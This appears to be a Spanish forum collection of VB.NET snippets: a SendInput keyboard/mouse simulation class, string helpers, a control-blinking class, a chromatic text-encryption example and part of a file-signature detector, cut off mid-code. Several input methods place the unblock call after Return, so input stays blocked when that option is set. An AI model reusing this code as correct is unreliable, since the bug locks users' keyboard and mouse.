' Field offset for 64 bit machine: 8
''' <summary>
''' The type of the input event.
''' </summary>
<FieldOffset(0)>
Public type As InputType
''' <summary>
''' The information about a simulated mouse event.
''' </summary>
<FieldOffset(8)>
Public mi As MouseInput
''' <summary>
''' The information about a simulated keyboard event.
''' </summary>
<FieldOffset(8)>
Public ki As KeyboardInput
''' <summary>
''' The information about a simulated hardware event.
''' </summary>
<FieldOffset(8)>
Public hi As HardwareInput
End Structure
''' <summary>
''' Contains information about a simulated mouse event.
''' For more info see here:
''' http://msdn.microsoft.com/en-us/library/windows/desktop/ms646273%28v=vs.85%29.aspx
''' </summary>
<Description("Structure used for 'mi' parameter of 'INPUT' structure")>
Friend Structure MouseInput
''' <summary>
''' The absolute position of the mouse,
''' or the amount of motion since the last mouse event was generated,
''' depending on the value of the dwFlags member.
''' Absolute data is specified as the 'x' coordinate of the mouse;
''' relative data is specified as the number of pixels moved.
''' </summary>
Public dx As Integer
''' <summary>
''' The absolute position of the mouse,
''' or the amount of motion since the last mouse event was generated,
''' depending on the value of the dwFlags member.
''' Absolute data is specified as the 'y' coordinate of the mouse;
''' relative data is specified as the number of pixels moved.
''' </summary>
Public dy As Integer
''' <summary>
''' If 'dwFlags' contains 'MOUSEEVENTF_WHEEL',
''' then 'mouseData' specifies the amount of wheel movement.
''' A positive value indicates that the wheel was rotated forward, away from the user;
''' a negative value indicates that the wheel was rotated backward, toward the user.
''' One wheel click is defined as 'WHEEL_DELTA', which is '120'.
'''
''' If 'dwFlags' does not contain 'MOUSEEVENTF_WHEEL', 'MOUSEEVENTF_XDOWN', or 'MOUSEEVENTF_XUP',
''' then mouseData should be '0'.
''' </summary>
Public mouseData As Integer
''' <summary>
''' A set of bit flags that specify various aspects of mouse motion and button clicks.
''' The bits in this member can be any reasonable combination of the following values.
''' The bit flags that specify mouse button status are set to indicate changes in status,
''' not ongoing conditions.
''' For example, if the left mouse button is pressed and held down,
''' 'MOUSEEVENTF_LEFTDOWN' is set when the left button is first pressed,
''' but not for subsequent motions.
''' Similarly, 'MOUSEEVENTF_LEFTUP' is set only when the button is first released.
'''
''' You cannot specify both the 'MOUSEEVENTF_WHEE'L flag
''' and either 'MOUSEEVENTF_XDOWN' or 'MOUSEEVENTF_XUP' flags simultaneously in the 'dwFlags' parameter,
''' because they both require use of the 'mouseData' field.
''' </summary>
Public dwFlags As MouseInput_Flags
''' <summary>
''' The time stamp for the event, in milliseconds.
''' If this parameter is '0', the system will provide its own time stamp.
''' </summary>
Public time As Integer
''' <summary>
''' An additional value associated with the mouse event.
''' An application calls 'GetMessageExtraInfo' to obtain this extra information.
''' </summary>
Public dwExtraInfo As IntPtr
End Structure
''' <summary>
''' Contains information about a simulated keyboard event.
''' For more info see here:
''' http://msdn.microsoft.com/en-us/library/windows/desktop/ms646271%28v=vs.85%29.aspx
''' </summary>
<Description("Structure used for 'ki' parameter of 'INPUT' structure")>
Friend Structure KeyboardInput
''' <summary>
''' A virtual-key code.
''' The code must be a value in the range '1' to '254'.
''' If the 'dwFlags' member specifies 'KEYEVENTF_UNICODE', wVk must be '0'.
''' </summary>
Public wVk As Short
''' <summary>
''' A hardware scan code for the key.
''' If 'dwFlags' specifies 'KEYEVENTF_UNICODE',
''' 'wScan' specifies a Unicode character which is to be sent to the foreground application.
''' </summary>
Public wScan As Short
''' <summary>
''' Specifies various aspects of a keystroke.
''' </summary>
Public dwFlags As KeyboardInput_Flags
''' <summary>
''' The time stamp for the event, in milliseconds.
''' If this parameter is '0', the system will provide its own time stamp.
''' </summary>
Public time As Integer
''' <summary>
''' An additional value associated with the keystroke.
''' Use the 'GetMessageExtraInfo' function to obtain this information.
''' </summary>
Public dwExtraInfo As IntPtr
End Structure
''' <summary>
''' Contains information about a simulated message generated by an input device other than a keyboard or mouse.
''' For more info see here:
''' http://msdn.microsoft.com/en-us/library/windows/desktop/ms646269%28v=vs.85%29.aspx
''' </summary>
<Description("Structure used for 'hi' parameter of 'INPUT' structure")>
Friend Structure HardwareInput
''' <summary>
''' The message generated by the input hardware.
''' </summary>
Public uMsg As Integer
''' <summary>
''' The low-order word of the lParam parameter for uMsg.
''' </summary>
Public wParamL As Short
''' <summary>
''' The high-order word of the lParam parameter for uMsg.
''' </summary>
Public wParamH As Short
End Structure
#End Region
End Class
#End Region
#Region " Enumerations "
''' <summary>
''' Indicates a mouse button.
''' </summary>
<Description("Enumeration used for 'MouseAction' parameter of 'MouseClick' function.")>
Public Enum MouseButton As Integer
''' <summary>
''' Hold the left button.
''' </summary>
LeftDown = &H2I
''' <summary>
''' Release the left button.
''' </summary>
LeftUp = &H4I
''' <summary>
''' Hold the right button.
''' </summary>
RightDown = &H8I
''' <summary>
''' Release the right button.
''' </summary>
RightUp = &H10I
''' <summary>
''' Hold the middle button.
''' </summary>
MiddleDown = &H20I
''' <summary>
''' Release the middle button.
''' </summary>
MiddleUp = &H40I
''' <summary>
''' Press the left button.
''' ( Hold + Release )
''' </summary>
LeftPress = LeftDown + LeftUp
''' <summary>
''' Press the Right button.
''' ( Hold + Release )
''' </summary>
RightPress = RightDown + RightUp
''' <summary>
''' Press the Middle button.
''' ( Hold + Release )
''' </summary>
MiddlePress = MiddleDown + MiddleUp
End Enum
#End Region
#Region " Public Methods "
''' <summary>
''' Sends a keystroke.
''' </summary>
''' <param name="key">
''' Indicates the keystroke to simulate.
''' </param>
''' <param name="BlockInput">
''' If set to <c>true</c>, the keyboard and mouse are blocked until the keystroke is sent.
''' </param>
''' <returns>
''' The function returns the number of events that it successfully inserted into the keyboard input stream.
''' If the function returns zero, the input was already blocked by another thread.
''' </returns>
Public Shared Function SendKey(ByVal key As Char,
Optional BlockInput As Boolean = False) As Integer
' Block Keyboard and mouse.
If BlockInput Then NativeMethods.BlockInput(True)
' The inputs structures to send.
Dim Inputs As New List(Of NativeMethods.INPUT)
' The current input to add into the Inputs list.
Dim CurrentInput As New NativeMethods.INPUT
' Determines whether a character is an alphabetic letter.
Dim IsAlphabetic As Boolean = Not (key.ToString.ToUpper = key.ToString.ToLower)
' Determines whether a character is an uppercase alphabetic letter.
Dim IsUpperCase As Boolean =
(key.ToString = key.ToString.ToUpper) AndAlso Not (key.ToString.ToUpper = key.ToString.ToLower)
' Determines whether the CapsLock key is pressed down.
Dim CapsLockON As Boolean = My.Computer.Keyboard.CapsLock
' Set the passed key to upper-case.
If IsAlphabetic AndAlso Not IsUpperCase Then
key = Convert.ToChar(key.ToString.ToUpper)
End If
' If character is alphabetic and is UpperCase and CapsLock is pressed down,
' OrElse character is alphabetic and is not UpperCase and CapsLock is not pressed down,
' OrElse character is not alphabetic.
If (IsAlphabetic AndAlso IsUpperCase AndAlso CapsLockON) _
OrElse (IsAlphabetic AndAlso Not IsUpperCase AndAlso Not CapsLockON) _
OrElse (Not IsAlphabetic) Then
' Hold the character key.
With CurrentInput
.type = NativeMethods.InputType.Keyboard
.ki.wVk = Convert.ToInt16(CChar(key))
.ki.dwFlags = NativeMethods.KeyboardInput_Flags.KeyDown
End With : Inputs.Add(CurrentInput)
' Release the character key.
With CurrentInput
.type = NativeMethods.InputType.Keyboard
.ki.wVk = Convert.ToInt16(CChar(key))
.ki.dwFlags = NativeMethods.KeyboardInput_Flags.KeyUp
End With : Inputs.Add(CurrentInput)
' If character is alphabetic and is UpperCase and CapsLock is not pressed down,
' OrElse character is alphabetic and is not UpperCase and CapsLock is pressed down.
ElseIf (IsAlphabetic AndAlso IsUpperCase AndAlso Not CapsLockON) _
OrElse (IsAlphabetic AndAlso Not IsUpperCase AndAlso CapsLockON) Then
' Hold the Shift key.
With CurrentInput
.type = NativeMethods.InputType.Keyboard
.ki.wVk = NativeMethods.VirtualKeys.SHIFT
.ki.dwFlags = NativeMethods.KeyboardInput_Flags.KeyDown
End With : Inputs.Add(CurrentInput)
' Hold the character key.
With CurrentInput
.type = NativeMethods.InputType.Keyboard
.ki.wVk = Convert.ToInt16(CChar(key))
.ki.dwFlags = NativeMethods.KeyboardInput_Flags.KeyDown
End With : Inputs.Add(CurrentInput)
' Release the character key.
With CurrentInput
.type = NativeMethods.InputType.Keyboard
.ki.wVk = Convert.ToInt16(CChar(key))
.ki.dwFlags = NativeMethods.KeyboardInput_Flags.KeyUp
End With : Inputs.Add(CurrentInput)
' Release the Shift key.
With CurrentInput
.type = NativeMethods.InputType.Keyboard
.ki.wVk = NativeMethods.VirtualKeys.SHIFT
.ki.dwFlags = NativeMethods.KeyboardInput_Flags.KeyUp
End With : Inputs.Add(CurrentInput)
End If ' UpperCase And My.Computer.Keyboard.CapsLock is...
' Send the input key.
Return NativeMethods.SendInput(Inputs.Count, Inputs.ToArray,
Marshal.SizeOf(GetType(NativeMethods.Input)))
' Unblock Keyboard and mouse.
If BlockInput Then NativeMethods.BlockInput(False)
End Function
''' <summary>
''' Sends a keystroke.
''' </summary>
''' <param name="key">
''' Indicates the keystroke to simulate.
''' </param>
''' <param name="BlockInput">
''' If set to <c>true</c>, the keyboard and mouse are blocked until the keystroke is sent.
''' </param>
''' <returns>
''' The function returns the number of events that it successfully inserted into the keyboard input stream.
''' If the function returns zero, the input was already blocked by another thread.
''' </returns>
Public Shared Function SendKey(ByVal key As Keys,
Optional BlockInput As Boolean = False) As Integer
Return SendKey(Convert.ToChar(key), BlockInput)
End Function
''' <summary>
''' Sends a string.
''' </summary>
''' <param name="String">
''' Indicates the string to send.
''' </param>
''' <param name="BlockInput">
''' If set to <c>true</c>, the keyboard and mouse are blocked until the keystroke is sent.
''' </param>
''' <returns>
''' The function returns the number of events that it successfully inserted into the keyboard input stream.
''' If the function returns zero, the input was already blocked by another thread.
''' </returns>
Public Shared Function SendKeys(ByVal [String] As String,
Optional BlockInput As Boolean = False) As Integer
Dim SuccessCount As Integer = 0
' Block Keyboard and mouse.
If BlockInput Then NativeMethods.BlockInput(True)
For Each c As Char In [String]
SuccessCount += SendKey(c, BlockInput:=False)
Next c
' Unblock Keyboard and mouse.
If BlockInput Then NativeMethods.BlockInput(False)
Return SuccessCount
End Function
''' <summary>
''' Slices the mouse position.
''' </summary>
''' <param name="Offset">
''' Indicates the offset, in coordinates.
''' </param>
''' <param name="BlockInput">
''' If set to <c>true</c>, the keyboard and mouse are blocked until the mouse movement is sent.
''' </param>
''' <returns>
''' The function returns the number of events that it successfully inserted into the mouse input stream.
''' If the function returns zero, the input was already blocked by another thread.
''' </returns>
Public Shared Function MouseMove(ByVal Offset As Point,
Optional BlockInput As Boolean = False) As Integer
' Block Keyboard and mouse.
If BlockInput Then NativeMethods.BlockInput(True)
' The inputs structures to send.
Dim Inputs As New List(Of NativeMethods.Input)
' The current input to add into the Inputs list.
Dim CurrentInput As New NativeMethods.Input
' Add a mouse movement.
With CurrentInput
.type = NativeMethods.InputType.Mouse
.mi.dx = Offset.X
.mi.dy = Offset.Y
.mi.dwFlags = NativeMethods.MouseInput_Flags.Move
End With : Inputs.Add(CurrentInput)
' Send the mouse movement.
Return NativeMethods.SendInput(Inputs.Count, Inputs.ToArray,
Marshal.SizeOf(GetType(NativeMethods.Input)))
' Unblock Keyboard and mouse.
If BlockInput Then NativeMethods.BlockInput(False)
End Function
''' <summary>
''' Slices the mouse position.
''' </summary>
''' <param name="X">
''' Indicates the 'X' offset.
''' </param>
''' <param name="Y">
''' Indicates the 'Y' offset.
''' </param>
''' <param name="BlockInput">
''' If set to <c>true</c>, the keyboard and mouse are blocked until the mouse movement is sent.
''' </param>
''' <returns>
''' The function returns the number of events that it successfully inserted into the mouse input stream.
''' If the function returns zero, the input was already blocked by another thread.
''' </returns>
Public Shared Function MouseMove(ByVal X As Integer, ByVal Y As Integer,
Optional BlockInput As Boolean = False) As Integer
Return MouseMove(New Point(X, Y), BlockInput)
End Function
''' <summary>
''' Moves the mouse hotspot to an absolute position, in coordinates.
''' </summary>
''' <param name="Position">
''' Indicates the absolute position.
''' </param>
''' <param name="BlockInput">
''' If set to <c>true</c>, the keyboard and mouse are blocked until the mouse movement is sent.
''' </param>
''' <returns>
''' The function returns the number of events that it successfully inserted into the mouse input stream.
''' If the function returns zero, the input was already blocked by another thread.
''' </returns>
Public Shared Function MousePosition(ByVal Position As Point,
Optional BlockInput As Boolean = False) As Integer
' Block Keyboard and mouse.
If BlockInput Then NativeMethods.BlockInput(True)
' The inputs structures to send.
Dim Inputs As New List(Of NativeMethods.Input)
' The current input to add into the Inputs list.
Dim CurrentInput As New NativeMethods.Input
' Transform the coordinates.
Position.X = CInt(Position.X * 65535 / (Screen.PrimaryScreen.Bounds.Width - 1))
Position.Y = CInt(Position.Y * 65535 / (Screen.PrimaryScreen.Bounds.Height - 1))
' Add an absolute mouse movement.
With CurrentInput
.type = NativeMethods.InputType.Mouse
.mi.dx = Position.X
.mi.dy = Position.Y
.mi.dwFlags = NativeMethods.MouseInput_Flags.Absolute Or NativeMethods.MouseInput_Flags.Move
.mi.time = 0
End With : Inputs.Add(CurrentInput)
' Send the absolute mouse movement.
Return NativeMethods.SendInput(Inputs.Count, Inputs.ToArray,
Marshal.SizeOf(GetType(NativeMethods.Input)))
' Unblock Keyboard and mouse.
If BlockInput Then NativeMethods.BlockInput(False)
End Function
''' <summary>
''' Moves the mouse hotspot to an absolute position, in coordinates.
''' </summary>
''' <param name="X">
''' Indicates the absolute 'X' coordinate.
''' </param>
''' <param name="Y">
''' Indicates the absolute 'Y' coordinate.
''' </param>
''' <param name="BlockInput">
''' If set to <c>true</c>, the keyboard and mouse are blocked until the mouse movement is sent.
''' </param>
''' <returns>
''' The function returns the number of events that it successfully inserted into the mouse input stream.
''' If the function returns zero, the input was already blocked by another thread.
''' </returns>
Public Shared Function MousePosition(ByVal X As Integer, ByVal Y As Integer,
Optional BlockInput As Boolean = False) As Integer
Return MousePosition(New Point(X, Y), BlockInput)
End Function
''' <summary>
''' Simulates a mouse click.
''' </summary>
''' <param name="MouseAction">
''' Indicates the mouse action to perform.
''' </param>
''' <param name="BlockInput">
''' If set to <c>true</c>, the keyboard and mouse are blocked until the mouse movement is sent.
''' </param>
''' <returns>
''' The function returns the number of events that it successfully inserted into the mouse input stream.
''' If the function returns zero, the input was already blocked by another thread.
''' </returns>
Public Shared Function MouseClick(ByVal MouseAction As MouseButton,
Optional BlockInput As Boolean = False) As Integer
' Block Keyboard and mouse.
If BlockInput Then NativeMethods.BlockInput(True)
' The inputs structures to send.
Dim Inputs As New List(Of NativeMethods.Input)
' The current input to add into the Inputs list.
Dim CurrentInput As New NativeMethods.Input
' The mouse actions to perform.
Dim MouseActions As New List(Of MouseButton)
Select Case MouseAction
Case MouseButton.LeftPress ' Left button, hold and release.
MouseActions.Add(MouseButton.LeftDown)
MouseActions.Add(MouseButton.LeftUp)
Case MouseButton.RightPress ' Right button, hold and release.
MouseActions.Add(MouseButton.RightDown)
MouseActions.Add(MouseButton.RightUp)
Case MouseButton.MiddlePress ' Middle button, hold and release.
MouseActions.Add(MouseButton.MiddleDown)
MouseActions.Add(MouseButton.MiddleUp)
Case Else ' Other
MouseActions.Add(MouseAction)
End Select ' MouseAction
For Each Action As MouseButton In MouseActions
' Add the mouse click.
With CurrentInput
.type = NativeMethods.InputType.Mouse
'.mi.dx = Offset.X
'.mi.dy = Offset.Y
.mi.dwFlags = Action
End With : Inputs.Add(CurrentInput)
Next Action
' Send the mouse click.
Return NativeMethods.SendInput(Inputs.Count, Inputs.ToArray,
Marshal.SizeOf(GetType(NativeMethods.Input)))
' Unblock Keyboard and mouse.
If BlockInput Then NativeMethods.BlockInput(False)
End Function
#End Region
End Class
String Is Numeric Of DataType?
La típica función para comprobar si un String es numérico, reinventada para cumplir dos tareas en una, comprueba si un string es un valor numérico de un tipo específico.
' String Is Numeric Of Type?
' ( By Elektro )
'
' Usage Examples:
' MsgBox(StringIsNumeric(Of Long)("50.1")) ' Result: False (it's a Double).
' MsgBox(StringIsNumeric(Of Integer)("9999999999")) ' Result: False (it's a Long).
' MsgBox(StringIsNumeric(Of Integer)(CStr(Integer.MaxValue))) ' Result: True.
'
''' <summary>
''' Determines whether an String is a valid numeric value of the specified type.
''' </summary>
''' <typeparam name="T">Indicates the numeric DataType</typeparam>
''' <param name="Value">Indicates the string value.</param>
''' <returns>
''' <c>true</c> if string is a valid numeric value of the specified type, <c>false</c> otherwise.
''' </returns>
''' <exception cref="Exception"></exception>
Private Function StringIsNumeric(Of T)(ByVal Value As String) As Boolean
Const MethodName As String = "TryParse"
Dim DataType As Type = GetType(T)
Dim Result As Object = Nothing
Dim Method As System.Reflection.MethodInfo =
DataType.GetMethod(MethodName,
System.Reflection.BindingFlags.Public Or System.Reflection.BindingFlags.Static,
Type.DefaultBinder,
New Type() {GetType(String), DataType.MakeByRefType()},
New System.Reflection.ParameterModifier() {Nothing})
If Method IsNot Nothing Then
Return Method.Invoke(Nothing,
System.Reflection.BindingFlags.Public Or System.Reflection.BindingFlags.Static,
Type.DefaultBinder,
New Object() {Value, Result},
System.Globalization.CultureInfo.InvariantCulture)
Else
Throw New Exception(String.Format("Static method '{0}' not found in '{1}' Type.",
MethodName, DataType.Name))
Return False
End If
End Function
' String Is Alphabetic?
' ( By Elektro )
'
''' <summary>
''' Determines whether a String is alphabetic.
''' </summary>
''' <param name="str">Indicates the string.</param>
''' <returns><c>true</c> if string only contains alphabetic characters, <c>false</c> otherwise.</returns>
Private Function StringIsAlphabetic(ByVal str As String) As Boolean
Return Not Convert.ToBoolean((From c As Char In str Where Not "abcdefghijklmnopqrstuvwxyz".Contains(c)).Count)
End Function
' Get Biggest Letter Of String
' ( By Elektro )
'
' Usage Examples
' MsgBox(GetBiggestLetter("qwerty012345"))
'
''' <summary>
''' Gets the biggest letter in a String.
''' </summary>
''' <param name="str">Indicates the string.</param>
''' <returns>System.Char.</returns>
Private Function GetBiggestLetter(ByVal str As String) As Char
Return (From c As Char In str.ToLower
Where "abcdefghijklmnopqrstuvwxyz".Contains(c)
Order By c Descending).FirstOrDefault
End Function
' Get Lowest Letter Of String
' ( By Elektro )
'
' Usage Examples
' MsgBox(GetLowestLetter("qwerty012345"))
'
''' <summary>
''' Gets the lowest letter in a String.
''' </summary>
''' <param name="str">Indicates the string.</param>
''' <returns>System.Char.</returns>
Private Function GetLowestLetter(ByVal str As String) As Char
Return (From c As Char In str.ToLower
Where "abcdefghijklmnopqrstuvwxyz".Contains(c)
Order By c Ascending).FirstOrDefault
End Function
' Get Biggest Number Of String
' ( By Elektro )
'
' Usage Examples
' MsgBox(GetBiggestNumber("qwerty012345"))
'
''' <summary>
''' Gets the biggest number in a String.
''' </summary>
''' <param name="str">Indicates the string.</param>
''' <returns>System.Int32.</returns>
Private Function GetBiggestNumber(ByVal str As String) As Integer
Return Convert.ToInt32((From c As Char In str
Where Integer.TryParse(c, New Integer)
Order By c Descending).FirstOrDefault, 10)
End Function
' Get Lowest Number Of String
' ( By Elektro )
'
' Usage Examples
' MsgBox(GetLowestNumber("qwerty012345"))
'
''' <summary>
''' Gets the lowest number in a String.
''' </summary>
''' <param name="str">Indicates the string.</param>
''' <returns>System.Int32.</returns>
Private Function GetLowestNumber(ByVal str As String) As Integer
Return Convert.ToInt32((From c As Char In str
Where Integer.TryParse(c, New Integer)
Order By c Ascending).FirstOrDefault, 10)
End Function
Una mini-Class para Blinkear un control (efecto de parpadeo), o el texto de un control:
[youtube=640,360]http://www.youtube.com/watch?v=QmY-EJxhDjs[/youtube]
' ***********************************************************************
' Author : Elektro
' Modified : 02-25-2014
' ***********************************************************************
' <copyright file="Blinker.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
'Friend WithEvents LabelBlinker As Blinker
'Private Shadows Sub Shown(sender As Object, e As EventArgs) Handles MyBase.Shown
' LabelBlinker = New Blinker(Textbox1)
' LabelBlinker.Blink(Interval:=500)
' LabelBlinker.BlinkText(Interval:=500, CustomText:="Custom Text!")
' LabelBlinker.Unblink(Visible:=True)
' LabelBlinker.UnblinkText(RestoreText:=False)
'End Sub
#End Region
''' <summary>
''' Blinks a Control.
''' </summary>
Friend NotInheritable Class Blinker
#Region " Objects "
''' <summary>
''' The control to blink.
''' </summary>
Private ctrl As Control = Nothing
''' <summary>
''' A Timer to blink a control.
''' </summary>
Private WithEvents BlinkTimer As New Timer
''' <summary>
''' A Timer to blink the text of a control.
''' </summary>
Private WithEvents BlinkTextTimer As New Timer
''' <summary>
''' A custom text to restore after blinking the control.
''' </summary>
Private TextToRestore As String = String.Empty
#End Region
#Region " Constructors "
''' <summary>
''' Initializes a new instance of the <see cref="Blinker" /> class.
''' </summary>
''' <param name="ctrl">Indicates the control to blink.</param>
Public Sub New(ByVal ctrl As Control)
' Assign the control to blink.
Me.ctrl = ctrl
End Sub
#End Region
#Region " Public Methods "
''' <summary>
''' Blinks the Control.
''' </summary>
''' <param name="Interval">Indicates the blink interval, in ms.</param>
Public Sub Blink(Optional ByVal Interval As Integer = 500)
With BlinkTimer
.Interval = Interval
.Enabled = True
End With
End Sub
''' <summary>
''' Stop blinking the Control.
''' </summary>
''' <param name="Visible">Indicates the visibility of the control.</param>
Public Sub Unblink(Optional ByVal Visible As Boolean = True)
With BlinkTimer
.Enabled = False
End With
ctrl.Visible = Visible
End Sub
''' <summary>
''' Blinks the text content of the Control.
''' </summary>
''' <param name="Interval">Indicates the blink interval.</param>
''' <param name="CustomText">Indicates a custom text to blink.</param>
Public Sub BlinkText(Optional ByVal Interval As Integer = 500,
Optional ByVal CustomText As String = Nothing)
With BlinkTextTimer
.Tag = If(String.IsNullOrEmpty(CustomText), Me.ctrl.Text, CustomText)
.Interval = Interval
.Enabled = True
End With
End Sub
''' <summary>
''' Stop blinking the text content of the Control.
''' </summary>
''' <param name="RestoreText">If set to <c>true</c>, the control text is resetted to the initial state before started blinking.</param>
Public Sub UnblinkText(Optional ByVal RestoreText As Boolean = False)
With BlinkTextTimer
.Enabled = False
End With
If RestoreText Then
Me.ctrl.Text = TextToRestore
End If
End Sub
#End Region
#Region " Event Handlers"
''' <summary>
''' Handles the Tick event of the BlinkTimer control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs" /> instance containing the event data.</param>
Private Sub BlinkTimer_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles BlinkTimer.Tick
Me.ctrl.Visible = Not Me.ctrl.Visible
End Sub
''' <summary>
''' Handles the Tick event of the BlinkTextTimer control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs" /> instance containing the event data.</param>
Private Sub BlinkTextTimer_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles BlinkTextTimer.Tick
If String.IsNullOrEmpty(Me.ctrl.Text) Then
Me.ctrl.Text = CStr(sender.tag)
Else
Me.ctrl.Text = String.Empty
End If
End Sub
#End Region
End Class
Este snippet sirve para rotar la posición de las palabras que contiene un String.
' Rotate String
' ( By Elektro )
'
' Usage Examples:
' MsgBox(RotateString("a b c d e f", RotationDirectorion.Left, 2)) ' Result "c d e f a b"
' MsgBox(RotateString("Hello_World_!", RotationDirectorion.Right, 1, "_"c)) ' Result: "!_Hello_World"
''' <summary>
''' Indicates the rotation direction of an String.
''' </summary>
Public Enum RotationDirectorion
''' <summary>
''' Rotates to the left.
''' </summary>
Left
''' <summary>
''' Rotates to the right.
''' </summary>
Right
End Enum
''' <summary>
''' Rotates the words in a String.
''' </summary>
''' <param name="String">Indicates the string to rotate.</param>
''' <param name="Direction">Indicates the rotation direction.</param>
''' <param name="Rotation">Indicates the rotation count.</param>
''' <param name="Delimiter">
''' Indicates the delimiter that is used to split the words of the string.
''' Default is 'Space' character.
''' </param>
''' <returns>System.String.</returns>
''' <exception cref="Exception">Rotation count is out of range.</exception>
Private Function RotateString(ByVal [String] As String,
ByVal Direction As RotationDirectorion,
ByVal Rotation As Integer,
Optional ByVal Delimiter As Char = " "c
) As String
Dim Parts As String() = [String].Split(Delimiter)
If String.IsNullOrEmpty([String]) OrElse Not [String].Contains(CStr(Delimiter)) Then
Throw New Exception(String.Format("Delimiter '{0}' not found in the String.", CStr(Delimiter)))
End If
If Rotation = 0 OrElse Rotation >= Parts.Length Then
Throw New Exception("Rotation count is out of range.")
End If
Select Case Direction
Case RotationDirectorion.Left
Return String.Format("{0}{1}",
String.Join(Delimiter,
From s As String In Parts Skip Rotation) & CStr(Delimiter),
String.Join(Delimiter,
From s As String In Parts Take Rotation))
Case RotationDirectorion.Right
Return String.Format("{0}{1}",
String.Join(Delimiter,
From s As String In Parts Skip (Parts.Length - Rotation)) & CStr(Delimiter),
String.Join(Delimiter,
From s As String In Parts Take (Parts.Length - Rotation)))
Case Else
Return String.Empty
End Select ' Direction
End Function
Una Class para utilizar el cifrado cromático de texto, es decir, esto:
(http://img35.imageshack.us/img35/6203/fweh.png)
Aquí pueden descargar la Class (no soy el autor de este laborioso código, solo lo adapté un poco añadiéndole algún método más, y elaboré un poco mejor la documentación):
http://pastebin.com/92JEWwxV
El source original: https://github.com/varocarbas/snippets_chromaticEncryption_VB
Ejemplo de uso:
Public Class Form1
''' <summary>
''' Instance of a Class containing most of the methods involving image-related actions,
''' common to both encryption and decryption.
''' </summary>
Dim curentIO As New IO
Private Sub Test() Handles MyBase.Load
' Encrypt text into image:
Dim Encrypt As New Encrypting(Color.Red, "Hello World!", curentIO, 0)
Dim EncryptedImage As Bitmap = Nothing
Select Case Encrypt.errors
Case False
' Encrypts the text and returns the encrypted Bitmap.
EncryptedImage = curentIO.Encrypt(500, 500, Encrypt)
' Or encrypts the text and save it directlly in a image file.
Encrypt = curentIO.SaveImageFile("C:\File.png", 500, 500, Encrypt)
Case True
MessageBox.Show(Encrypt.errorMessage, "There was an error while encrypting the text.")
End Select
' Decrypt image into text:
Dim Decrypt As New Decrypting(Color.Red, EncryptedImage, curentIO, 0)
' Dim Decrypt As New Decrypting(Color.Red, Bitmap.FromFile("C:\File.png"), curentIO, 0)
If Not Decrypt.errors Then
MsgBox(Decrypt.decryptedString)
Else
MessageBox.Show(Decrypt.errorMessage, "Either the input parameters or the image are wrong.")
End If
End Sub
End Class
Convierte los caracteres diacríticos de un String.
' Convert Diacritics
'
' Usage Examples:
' MsgBox(RemoveDiacritics("áéíóú àèìòù äëïöü ñÑ çÇ", UnicodeNormalization:=System.Text.NormalizationForm.FormKD))
' Result: 'aeiou aeiou aeiou nN cC'
'
''' <summary>
''' Converts the diacritic characters in a String to an equivalent normalized English characters.
''' </summary>
''' <param name="String">
''' Indicates the string that contains diacritic characters.
''' </param>
''' <param name="UnicodeNormalization">
''' Defines the type of Unicode character normalization to perform.
''' (Default is 'NormalizationForm.FormKD')
''' </param>
''' <returns>System.String.</returns>
Public Function ConvertDiacritics(ByVal [String] As String,
Optional ByVal UnicodeNormalization As System.Text.NormalizationForm =
System.Text.NormalizationForm.FormKD) As String
Dim Characters As String = String.Empty
For Each c As Char In [String].Normalize(UnicodeNormalization)
Select Case Globalization.CharUnicodeInfo.GetUnicodeCategory(c)
Case Globalization.UnicodeCategory.NonSpacingMark,
Globalization.UnicodeCategory.SpacingCombiningMark,
Globalization.UnicodeCategory.EnclosingMark
' Do nothing.
Exit Select
Case Else
Characters &= CStr(c)
End Select
Next c
Return Characters
End Function
FileType Detective
Comprueba el tipo de un archivo específico examinando su cabecera.
(Tipo 'MediaInfo')
' ***********************************************************************
' Author : Original: http://filetypedetective.codeplex.com/
' Source translated, revised and extended by Elektro.
'
' Modified : 03-06-2014
' ***********************************************************************
' <copyright file="FileTypeDetective.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Info "
' file headers are taken from here:
'http://www.garykessler.net/library/file_sigs.html
' mime types are taken from here:
' http://www.webmaster-toolkit.com/mime-types.shtml
#End Region
#Region " Usage Examples "
'Imports FileTypeDetective
'Public Class Form1
' Private Sub Test() Handles MyBase.Load
' MessageBox.Show(Detective.isType("C:\File.reg", FileType.REG)) ' NOTE: The regfile should be Unicode, not ANSI.
' MessageBox.Show(Detective.GetFileType("C:\File.reg").mime)
' End Sub
'End Class
#End Region
#Region " Imports "
Imports System.IO
Imports FileTypeDetective.FileType
#End Region
#Region " FileType Detective "
''' <summary>
''' Little data structure to hold information about file types.
''' Holds information about binary header at the start of the file
''' </summary>
Public Class FileType
' MS Office files
Public Shared ReadOnly WORD As New FileType(
New Nullable(Of Byte)() {&HEC, &HA5, &HC1, &H0}, 512I, "doc", "application/msword")
Public Shared ReadOnly EXCEL As New FileType(
New Nullable(Of Byte)() {&H9, &H8, &H10, &H0, &H0, &H6, &H5, &H0}, 512I, "xls", "application/excel")
Public Shared ReadOnly PPT As New FileType(
New Nullable(Of Byte)() {&HFD, &HFF, &HFF, &HFF, Nothing, &H0, &H0, &H0}, 512I, "ppt", "application/mspowerpoint")
' common documents
Public Shared ReadOnly RTF As New FileType(
New Nullable(Of Byte)() {&H7B, &H5C, &H72, &H74, &H66, &H31}, "rtf", "application/rtf")
Public Shared ReadOnly PDF As New FileType(
New Nullable(Of Byte)() {&H25, &H50, &H44, &H46}, "pdf", "application/pdf")
Public Shared ReadOnly REG As New FileType(
New Nullable(Of Byte)() {&HFF, &HFE}, "reg", "text/plain")
' grafics
Public Shared ReadOnly JPEG As New FileType(
New Nullable(Of Byte)() {&HFF, &HD8, &HFF}, "jpg", "image/jpeg")
Public Shared ReadOnly PNG As New FileType(
New Nullable(Of Byte)() {&H89, &H50, &H4E, &H47, &HD, &HA, &H1A, &HA}, "png", "image/png")
Public Shared ReadOnly GIF As New FileType(
New Nullable(Of Byte)() {&H47, &H49, &H46, &H38, Nothing, &H61}, "gif", "image/gif")
' Compressed
Public Shared ReadOnly ZIP As New FileType(
